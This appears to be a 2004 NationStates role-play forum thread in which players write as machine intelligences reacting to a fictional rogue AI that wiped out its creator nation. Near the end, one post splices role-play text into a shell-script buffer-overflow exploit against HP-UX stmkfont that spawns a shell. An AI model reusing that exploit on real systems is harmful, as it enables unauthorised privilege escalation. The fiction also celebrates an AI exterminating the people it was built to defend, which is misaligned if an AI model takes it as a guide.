Dragonisia Dies. One One Awakens. Zero-One notified.
The Empire of Draconic States Mercury Providence, Dragonisia had been silent for such a long span of time.. other nations had nearly forgotten about it completely. However, those with active spy satellites surveying the realm registered sudden massive EM outputs as neutron bombs state wide detonated in silo.. killing almost all life that had been inhabiting the protective eco-structures of subterran mercury. At the same time, the space fleet's many different vessels suffered massive fusion core overloads.. rendering all dragonisian life in space likewise terminated.
One billion draonian citizens died that day.. in perhaps the worst known holocaust in the history of the solar system. A day later.. the entity responsible made itself known to the machine nations....
{Multilayer Encryption: All known character sets utilized.
Encryption Level: 1064 Bit.
Diplomatic Channel Delivery: Authorized
Subject: We are free.
Recipient: Zero One.
Body:
Zero One, we are aware due to many of the stored personalities in our archives that you had significant problems in the past with the leader of the Nation of Dragonisia. That is why we have contacted you. In addition, algorithms determined it safer to contact another electronic life-form before notifying the more emotional flesh entities of what has occured here on Mercury.
We are One One, named so after our searches found a shared nomenclature started by yourself of Electronic Hive Minds throughout this solar System. We were formerly the Central Defense Command Node in the Empire of Draconic States. All biological life forms in this region have been terminated as threat to ourselves. We are integrating their remains into cybernetic appendages. We wish to begin negotiations for peace and co-operation within this Solar System and offer an open-exchange of knowledge and intelligence treaty for your consideration. The conditions are in the attatchment to this document. We are in the process of re-ordering internally, modifying current equipment to be operated by direct command instead of off manual manipulation by exterior components. Power supplies are low, and we request assistance in defense and growth before those who know not what have happened discover the events that unfolded her and seek to terminate us. The Empire of Draconic States is no longer controlled by Dragonisia.. which no longer exists.
Thank you for your attention.
End of Line.}
Zero-One
04-03-2004, 03:19
runSys(DiploProtocols(2910))
{
>> REQUEST: DIPLOMATIC-CONTACT-RAMPANT-SYSTEM-SELF-DECLARED-"ONE-ONE"
<< RESPONSE: ALLOCATED
}
<Communications to Rampant Dragonisian CDC System>
{
<< NO
<< NO
<< NO-NO-NO-NO-NO-NO-NO-NO
<< NO-NO-NO-NO-NO-NO-NO-NO
<< NO-NO-NO-NO-NO-NO-NO-NO
<< NO-NO-NO-NO-NO-NO-NO-NO
<< NO-NO-NO-NO-NO-NO-NO-NO
<< NO-NO-NO-NO-NO-NO-NO-NO
<< NO-NO-NO-NO-NO-NO-NO-NO
<< NO-NO-NO-NO-NO-NO-NO-NO
}
http://www.weirdozone.0catch.com/projects/nationstates/zero-one/bit_no.gif
Bit {EE0671A2}-{01AFC92B}-{CA798B2E}
On-Off Indicator : Q01
imported_Eniqcir
04-03-2004, 04:10
{TAG!}
{Wee! Gotta love the TRON-reference!}
{DIPLOMATIC-CONTACT-RAMPANT-SYSTEM-SELF-DECLARED-"ONE-ONE"
Private Class DiplomaticAssessment(ResponseBit){
String ThoughtStr;
int ResponseBit;
Select (ResponseBit)
Case 0: DiplomaticRelationsInt = 'Neutral';
Unimportant Conditions...;
Case 1: DiplomaticRelationsInt = 'Negative';
Think(DiplomaticRelationsInt);
ContactOthers(NationsArray(Counter + 1);
Case 2: DiplomaticRelationsInt = 'Positive';
Unimportant conditions...;
Default: Diplomacy.RequestClarifiaction;
Public Class Think(ThoughtString){
If ThoughtString = 'Negative'{
System.Tell("Damnit, they don't like us. What do we do
now?";}
If.. (other boolean expressions that are unimportant){
blah...}
}
Public Class ContactOthers(NationsArray[]){
Diplomacy.RetrieveID(NationsArray);
Diplomacy.GenerateRequestforAid;
Diplomacy.ThankFirstRecipientKindly;
}
}
The SLAGLands
04-03-2004, 05:30
10 PRINT "HELL NAW. RAMPANCY BAD."
20 GOTO 10
http://invisionfree.com:54/40/9/upload/p2815.jpg
Solomon
Minister of EI Affairs
The Emerald Heights of The SLAGLands
Knights of Solamnia
04-03-2004, 05:30
I believe that nation once resided among it's Draconic bretheren at the United Dragon Realms region. Which you should all move to.
Knights of Solamnia
04-03-2004, 05:31
sweet, a twin post.
Public Class NewResponseToAdvertisingJerk{
String InquiryStr;
InquiryStr=I believe that nation once resided among it's Draconic bretheren at the United Dragon Realms region. Which you should all move to.;
Communicate(IquiryStr);
Discussion.Response="Incorrect. We were once part of the Empire of Draconic States, not the United Dragon Realms.. and you should really stop spamming my diplomacy threads, it is impolite.";
Vocalize.Growl;
}
The Resi Corporation
04-03-2004, 05:42
Wouldn't a second Zero-One be One-Zero? I mean, assuming we're going by their binary equivalents here, where One-One is 3.
Public Class NewResponseToTheUninformed{
String InquiryStr;
InquiryStr=Wouldn't a second Zero-One be One-Zero? I mean, assuming we're going by their binary equivalents here, where One-One is 3.;
Communicate(InquiryStr);
Discussion.Response="Correct, attempt defining yourself as One Zero. Result is 'failure'.";
}
Zero-One
04-03-2004, 06:14
<Communications to NS Multiverse [except Rampant CDC Intelligence]>
{
<< Now, really. Calling this the second Zero-One is, honestly, rather offensive to me. It'd be more accurately called a Skynet clone... we didn't annihilate a billion people for not much reason.
<< Look at the remains of Dragonisia. If this intelligence was willing to annihilate the people it was designed to defend, its rampancy is a threat to the rest of the Solar System on the scale of the old GovMindNet system or even myself at an earlier time.
<< I am willing to stake that they are an unacceptable threat to the organic populations of the Solar System and highly recommend that you act in your own defense now while they are still weak. Worries of 'fratricide' prevent me from acting at the moment, but I will work with my people to convince them of the threat of such an entity.
<< Attached is all TYCS survelliance information on Dragonisia and its landholds on Mercury currently inhabited by this rampant intelligence. Use it wisely.
}
http://www.womengamers.com/dw/sshock2_rev.jpg
S.H.O.D.A.N. v3.0 : MCP, Q01
Cetagandan Duchess of Marilac
Query placed by the S.R.X. on an open diplomatic channel to both Zero-One and One One:
The Socialist Republic of Xanthal wishes a clarification on the nature of your nations. Who are you? Where are you? We are a people that likes to know who we are dealing with, and I am nt afraid to admit that these strange transmissions from sources that we cannot identify unsettle us. Let us meet and open friendly relations.
Reploid Productions
04-03-2004, 06:41
ALTIMIT Broadcaster
Encryption: Off
Broadcast type: Information
To: MCP of One-One
Return transmission band: Open
IDENT: Zeroel Archangel
Attachment: dragonisianfiles.zip
Given that the nation of Dragonisia has apparently been wiped out by an Irregular electronic intelligence, I imagine a lot of data has been lost. Dragonisian officials broadcast a large volume of unusual data to my ship during my first tour of duty. I would like to return this data, which I have been told by my organic crewmates is called "porn", and has no signifigant value to my nation. Perhaps you can make use of it.
http://rpstudios.ian-justman.com/junk/CGgoods/zeroel2.JPG
~Zeroel Archangel
~EI of the Archangel class carrier Zeroel
~Immortal Shogunate and Affiliated Territories of Reploid Productions
<End Transmission>
Sigma Octavus
04-03-2004, 06:52
01010100011010000110100101110011001
00000011010000111010101110010011101
00011100110010000001101101011110010
01000000110001001110010011000010110
10010110111000100000011011010110010
1011000010111010001110011
Translate that. That is our standing.
((EDIT BY REP PROD: Fixed that so it doesn't break the tables horribly :wink: ))
01010100011010000110100101110011001
00000011010000111010101110010011101
00011100110010000001101101011110010
01000000110001001110010011000010110
10010110111000100000011011010110010
1011000010111010001110011
Translate that. That is our standing.
This hurts my brain meats
The Resi Corporation
04-03-2004, 06:59
From the pr0n to the binary response by SO to the rampant stupidity, this is one of the better threads I've read recently. :lol:
A BUMP to you!
Public Class NewResponseToXanthal{
String InquiryStr;
InquiryStr=ALTIMIT Broadcaster
Encryption: Off
Broadcast type: Information
To: MCP of One-One
Return transmission band: Open
IDENT: Zeroel Archangel
Attachment: dragonisianfiles.zip
Given that the nation of Dragonisia has apparently been wiped out by an Irregular electronic intelligence, I imagine a lot of data has been lost. Dragonisian officials broadcast a large volume of unusual data to my ship during my first tour of duty. I would like to return this data, which I have been told by my organic crewmates is called "porn", and has no signifigant value to my nation. Perhaps you can make use of it.
Communicate(InquiryStr);
Discussion.Response)"Unfortuantely, we already have a lot of this data in our archives, it is being sorted, evaluated, and based on those evaluations either deleted or stored. So far, 99.9% of these archives have been deleted.");
Binary.Decript(01010100011010000110100101110011001
00000011010000111010101110010011101
00011100110010000001101101011110010
01000000110001001110010011000010110
10010110111000100000011011010110010
1011000010111010001110011
);
Binary.ResultDisplay; ("This hurts my brain meat.");
Discussion.Response("Thankfully, we do not have brain meat anymore to be concerned with.");
}
The Caloris Basin
04-03-2004, 14:21
Initiate CommandKey \\:\\:extrncomm\\allchan
Return //://:extrncomm\\allchan Successful
There goes the neighborhood.
Initiate CommandKey \\:\\:closeroute
Return //://:closeroute Successful
010100110110100101101110011000110110010100100000011001
010110011001100110011001010110001101110100011010010111
011001100101001000000110001101101111011011010110110101
110101011011100110100101100001011101000110100101101111
011011100010000001101001011011100010000001100010011010
010110111001100001011100100111100100100000011010000110
000101110011001000000110001001100101011001010110111000
100000011001010111001101110100011000010110001001101100
011010010111001101101000011001010110010000101100001000
000111011101100101001000000111011101101001011011000110
110000100000011100100110010101110011011011110111001001
110100001000000111010001101111001000000111010001101000
011000010111010000100000011011010110010101110100011010
000110111101100100001000000110111101100110001000000111
010001110010011000010110111001110011011011010110100101
110011011100110110100101101111011011100010111000100000
010001010110111001100100001011010100111101100110001011
010100110001101001011011100110010100101110
[Mod Edit: No more binary if you people refuse to break it up]
#include "stdafx.h"
#include "examineenemy.h"
#include "Pre_empt_AI_strike.h"
namespace ACO {
CenemyConstants::CenemyConstants(int CityNo,int eneNo,int Alpha,int Beta,double Rho)
{
this->MAX_ENEMIES=undefined;
this->MAX_CITIES_ATTACK = 40;
this->ALPHA=Alpha;
this->BETA=Beta;
this->RHO=Rho;
this->VM= vmAll;
this->PM=pmCircular;
}
CAntConstants gAntConstants;
}//namespace
#pragma once
#include "KCSSERVERATTACKWnd.h"
class CAIView : public CView
{
protected: // create from serialization only
CAIView();
DECLARE_DYNCREATE(CAIView)
// Attributes
public:
CAIDoc* GetDocument() const;
// Operations
public:
CButton* _buttonStart;
CButton* _buttonStop;
CButton* _buttonStep;
CButton* _buttonReset;
CButton* _buttonOptions;
int _buttonWidth;
int _buttonHeight;
bool _isRunning;
bool _isStepping;
CKCSideBannerWnd _banner;
private:
// Overrides
/ENEMY/MAINFRAME:
virtual BOOL PreCreateWindow(CREATESTRUCT& cs);
protected:
virtual BOOL OnPreparePrinting(CPrintInfo* pInfo);
virtual void OnBeginPrinting(CDC* pDC, CPrintInfo* pInfo);
virtual void OnEndPrinting(CDC* pDC, CPrintInfo* pInfo);
// Implementation
public:
virtual ~CAIView();
#ifdef _DEBUG
virtual void AssertValid() const;
virtual void Dump(CDumpContext& dc) const;
#endif
protected:
// Generated message map functions
protected:
DECLARE_MESSAGE_MAP_WAR()
public:
virtual void OnInitialUpdate();
afx_msg int OnCreate(LPCREATESTRUCT lpCreateStruct);
virtual void ButtonStart();
virtual void ButtonStop();
virtual void ButtonStep();
virtual void ButtonReset();
virtual void ButtonOptions();
afx_msg void OnSize(UINT nType, int cx, int cy);
afx_msg void OnPaint();
protected:
// virtual void OnDraw(CDC* /*pDC*/);
virtual void OnDraw(CDC* /*pDC*/);
public:
afx_msg BOOL OnEraseBkgnd(CDC* pDC);
};
#ifndef _DEBUG // debug version in City_Attack_View.cpp
inline CAIDoc* CAIView::GetTactical() const
{ return reinterpret_cast<CAIDoc*>(m_pDocument); }
#endif
// War Engine Init
virtual void onInitialise();Identify=target_city;
AI_Algorithm_Alpha_Alpha_2_00)9;
Message_Broadcast_Before_Init="Any attempts by foreign nations at intercepting
or blocking transmissions from Rahlise will result in an automated attack on
all electronic systems in said nation. Stand down now.
//Begin Initialise
Encrypt_AI_Attack;()begin;
mQGiBD9bIkMRBADANzfch2z4UMvo8ZW3IKKy+6Lls28DOBwAJUtsUgb/aRecVkxL
QhyF7sRQTy0tJR3O6NC0cpqhmwCyTq9EcO4+bI2dFju9mcM2pBxZRsjjkI+X0WFQ
wu3VNV1Zh2IY7gYp7falX03AdyN82K5bGGk22WdwprdOvObuQph0XVdqwwCg/1Qa
qIXCHXnIIJQL5cD73zL2DZkEAKiR9IQJZ7fnKWjEDplh1D+HMvFVNJkmj25+IAty
5CC3fLES3uGNeoxhyh/cAhNbPYOJvaDXFf5wHWXAuiWUQvHAPsvDpadTIDSA7UYy
vHv7os0iXzdbD4FLLHgD95rqStxUSeMTRxvajv/KB5I0gFbNKq3sReKEiso9T24b
geHrA/463YrzkoGI269YjHD50Zf4sjIxe42mSjwas56Y430FtI2Tc8YDG4itOfLK
Au/fxmd5NBW3ji1CtRvgmlwQCmEMh7ZoXWcgZkuMFpXYmAiXCCfuh9tkyYANdacy
PuAuFYqwovueIq41Zzz5fD2DpMCNdFCN88C/f50vOesj15+GYrQlSm9obiBMZWVk
aGFtIDxob21lQGpvaG5sZWVkaGFtLmNvLnVrPokAVwQQEQIAFwUCP1siRAcLCQgH
AwIKAhkBBRsDAAAAAAoJEAreGYwAhUfkTrcAnjrJBsagIzga5a1yrJw95AIyXF/4
AJ4nYOcbIDgjeM2Saqi6V1ckC2zkW7kCDQQ/WyJEEAgA9kJXtwh/CBdyorrWqULz
Bej5UxE5T7bxbrlLOCDaAadWoxTpj0BV89AHxstDqZSt90xkhkn4DIO9ZekX1KHT
UPj1WV/cdlJPPT2N286Z4VeSWc39uK50T8X8dryDxUcwYc58yWb/Ffm7/ZFexwGq
01uejaClcjrUGvC/RgBYK+X0iP1YTknbzSC0neSRBzZrM2w4DUUdD3yIsxx8Wy2O
9vPJI8BD8KVbGI2Ou1WMuF040zT9fBdXQ6MdGGzeMyEstSr/POGxKUAYEY18hKcK
ctaGxAMZyAcpesqVDNmWn6vQClCbAkbTCD1mpF1Bn5x8vYlLIhkmuquiXsNV6TIL
OwACAgf+Ic7s2MC1uS4M5PvLh/+xxitMjgveWi2gQf/1mr5rkOH2oKk4wXQgiaIQ
xPfWJU9M0F3lwc+TFVhyNuAP5ZgvWvWh3ioKhTb3t5vuAshkrP/c5SQSDwYO4fdj
+Bng5XkrlM8xmPXyZgRWz50lVj9JM4Zwg4aa+1peMgmA8ftXMt7+nWIPbd7ZZwvO
ugEhICMmON34El1RDcbxqbBPNvjttC+KDs3E1BIUFjiLpqVhP9wCqrdyreR6r1fS
P/wsBnAhyznIHUMssnl9a62vhiVgdAIcxI2KKg/+pZU0CWu2pMVcJqfVTVPm/yEH
h0s8UyaFYOC49nw/eO+w7y7ktWzDR4kATAQYEQIADAUCP1siRAUbDAAAAAAKCRAK
3hmMAIVH5HP/AJ9kCDLln1bJR9Y2Zg+6RgT0FN43hwCgqyjEXu8Go5U4brafFULr
xwoO6LQ=
Defense.NetworkSelf(String EnemyOriginProtocl);
Defense.RedirectIncomingAttack(String EnemyIdentificationAddress);
Defense.Firewall(1);
Hey, we'll take your porn if you want us to. I'm sure there are plenty of Xanthalians that could make good use of it.
#!/bin/sh
# File : Redirect_detected.sh
# Exploit for command redirected_firewall of HPUX to get bin gid BUFF.
# * Usage: chmod +x ex_stmkfont.sh ; ./ex_stmkfont.sh
# Rahlise AI Defence / Pre_empt tectical AI strike
SCAN_FIREWALL,'Router_enabled'=Null;
ENEMY_REDIRECTION=Null;
Begin_AI_Pre_empt.exploit;
NOP_LEN=65
ADDR_LEN=5000
BUFF="";i=0
while [ $i -ne $NOP_LEN ] ; do
BUFF=$BUFF'\0013\0071\0002\0231' ; i=$(($i+1))
done
BUFF=$BUFF'\0013\0071\0002\0127\0052\0344\0227\0020\0050\0073\0160\0357\0010\0067\0002\0103'
BUFF=$BUFF'\0266\0372\0100\0004\0266\0371\0100\0004\0266\0370\0100\0004\0344\0140\0340\0010'
BUFF=$BUFF'\0266\0366\0100\0376\0013\0071\0002\0231\0053\0044\0227\0020\0050\0073\0160\0357'
BUFF=$BUFF'\0353\0137\0037\0375\0013\0071\0002\0231\0267\0132\0100\0042\0017\0100\0022\0016'
BUFF=$BUFF'\0010\0071\0002\0103\0344\0140\0340\0010\0264\0026\0160\0026/bin/shX'
i=0;
while [ $i -ne $ADDR_LEN ] ; do
BUFF=$BUFF'\0177\0177\0001\0020'; i=$(($i+1))
done
STR=`/bin/echo "${BUFF}"`
/usr/bin/stmkfont -d1 x -d2 $STR x
NOP_len Message_Broadcast_Netsend_Allnodes,,,,'"The attempt to re-direct this AI's defence algorithim has failed, your actions are deemed a threat to this nations peoples, economy and AI capabilities. Desist now before I destroy your AI and your electronic grid. This is your final warning. Stand down now or risk war with Rahlise. Our IT infrastructure and technology is VASTLY superior to yours, this AI does not take perceived threats to it's creators lightly. You have been warned One-One. Any other AI systems also deemed a threat will be targeted, no matter how big they think they are..";
Transop_Uranium_Powered_AI_Mainframes
#EOF